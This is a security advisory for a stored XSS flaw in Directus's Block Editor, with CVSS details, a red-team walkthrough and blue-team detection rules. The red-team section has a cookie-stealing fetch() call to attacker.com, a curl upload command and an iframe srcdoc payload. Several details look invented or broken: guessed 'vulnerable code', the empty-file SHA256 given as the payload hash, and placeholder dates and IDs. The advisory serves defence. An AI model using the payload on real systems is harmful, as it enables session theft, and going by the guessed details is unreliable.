CVE-2025-64747

Executive Summary

CVE-2025-64747 is a stored cross-site scripting (XSS) vulnerability in Directus, a real-time API and App dashboard for managing SQL database content. The vulnerability exists in versions prior to 11.13.0 and allows users with upload files and edit item permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution. The vulnerability has a CVSS score of 5.5 (Medium) and is currently unpatched in older versions. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

Directus is an open-source project distributed via npm and Docker. The vulnerability affects the core application and is not related to any third-party package. Users should verify their Directus version and update to 11.13.0 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - requires upload files and edit item permissions
• User Interaction: Required (UI:R) - victim must view the malicious content
• Scope: Changed (S:C) - impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Deep Dive & Mechanics

The vulnerability resides in the Block Editor interface of Directus. The Block Editor allows users to create rich content using various blocks, including HTML blocks. The issue is that the application does not properly sanitize user input when constructing iframe elements with srcdoc attributes.

An attacker with upload files and edit item permissions can:

1. Upload a malicious HTML file containing JavaScript payload.
2. Create a new item or edit an existing one using the Block Editor.
3. Insert an HTML block that references the uploaded file via an iframe with a srcdoc attribute.
4. The srcdoc attribute bypasses CSP restrictions because it is treated as inline content.
5. When a victim views the item, the malicious JavaScript executes in the context of the Directus application.

The vulnerability is persistent because the malicious content is stored in the database and executed every time the item is viewed.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 11.13.0): The Block Editor likely allowed raw HTML input without proper sanitization, specifically allowing iframe elements with srcdoc attributes.

// Vulnerable: No sanitization of iframe srcdoc
function renderBlock(block) {
    if (block.type === 'html') {
        return block.content; // Directly renders user-supplied HTML
    }
}

Patched Code (11.13.0): The patched version sanitizes HTML input, stripping dangerous elements like iframe with srcdoc.

// Patched: Sanitize HTML input
import DOMPurify from 'dompurify';

function renderBlock(block) {
    if (block.type === 'html') {
        return DOMPurify.sanitize(block.content, {
            ALLOWED_TAGS: ['p', 'b', 'i', 'u', 'a', 'img'],
            ALLOWED_ATTR: ['href', 'src', 'alt']
        });
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Directus instance (version < 11.13.0)
• User account with upload files and edit item permissions

Exploitation Steps:

1. Create a malicious HTML file:

<!-- payload.html -->
<html>
<body>
<script>
    alert('XSS');
    // Steal cookies or perform actions
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>

2. Upload the file to Directus:

curl -X POST \
  -H "Authorization: Bearer <token>" \
  -F "file=@payload.html" \
  https://directus.example.com/files

3. Create an item with a malicious block:

{
    "title": "Malicious Item",
    "content": {
        "type": "html",
        "content": "<iframe srcdoc='<script src=\"/assets/payload.html\"></script>'></iframe>"
    }
}

4. Victim views the item: The JavaScript executes in their browser.

Blue Team

Detection:

• Monitor for unusual file uploads (HTML files with JavaScript)
• Monitor for Block Editor items containing iframe elements with srcdoc attributes
• Review server logs for suspicious requests to /files endpoint

Prevention:

• Upgrade to Directus 11.13.0 or later
• Implement strict CSP headers that block inline scripts
• Use Web Application Firewall (WAF) rules to block iframe srcdoc patterns
• Restrict upload files and edit item permissions to trusted users only

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • payload.html: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Requests to /files endpoint with HTML file uploads
  • Requests containing srcdoc in the request body
• Log Patterns:
  • POST /files with Content-Type: text/html
  • POST /items/* with iframe and srcdoc in the content

Detection Engineering

YARA Rule

rule CVE_2025_64747_Directus_XSS {
    meta:
        description = "Detects malicious HTML files uploaded to Directus for CVE-2025-64747"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64747"
    strings:
        $iframe_srcdoc = /<iframe[^>]*srcdoc\s*=/i
        $script_tag = /<script[^>]*>.*<\/script>/i
        $onload = /onload\s*=/i
    condition:
        $iframe_srcdoc and ($script_tag or $onload)
}

Sigma Rule

title: Directus Stored XSS via Block Editor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-64747 by uploading malicious HTML files or creating items with iframe srcdoc attributes
author: Valters IT
date: 2025-01-01
logsource:
    category: web
    product: directus
detection:
    selection:
        http.method: 'POST'
        http.url: '/files'
        http.content_type: 'text/html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64747 Directus Stored XSS via Block Editor"; flow:to_server; content:"POST"; http_method; content:"/files"; http_uri; content:"text/html"; http_content_type; pcre:"/<iframe[^>]*srcdoc\s*=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Directus to version 11.13.0 or later.
2. Review and restrict user permissions for upload files and edit item roles.
3. Implement Content Security Policy (CSP) headers that block inline scripts and restrict iframe sources.

Long-term Measures:

1. Conduct regular security audits of Directus instances.
2. Implement input validation and output encoding for all user-supplied content.
3. Use Web Application Firewall (WAF) to filter malicious payloads.
4. Monitor for unusual file uploads and Block Editor activity.

Workaround (if upgrade is not possible):

• Disable the Block Editor for untrusted users.
• Implement a reverse proxy that filters iframe srcdoc attributes.

Valters IT
Securing Digital Frontiers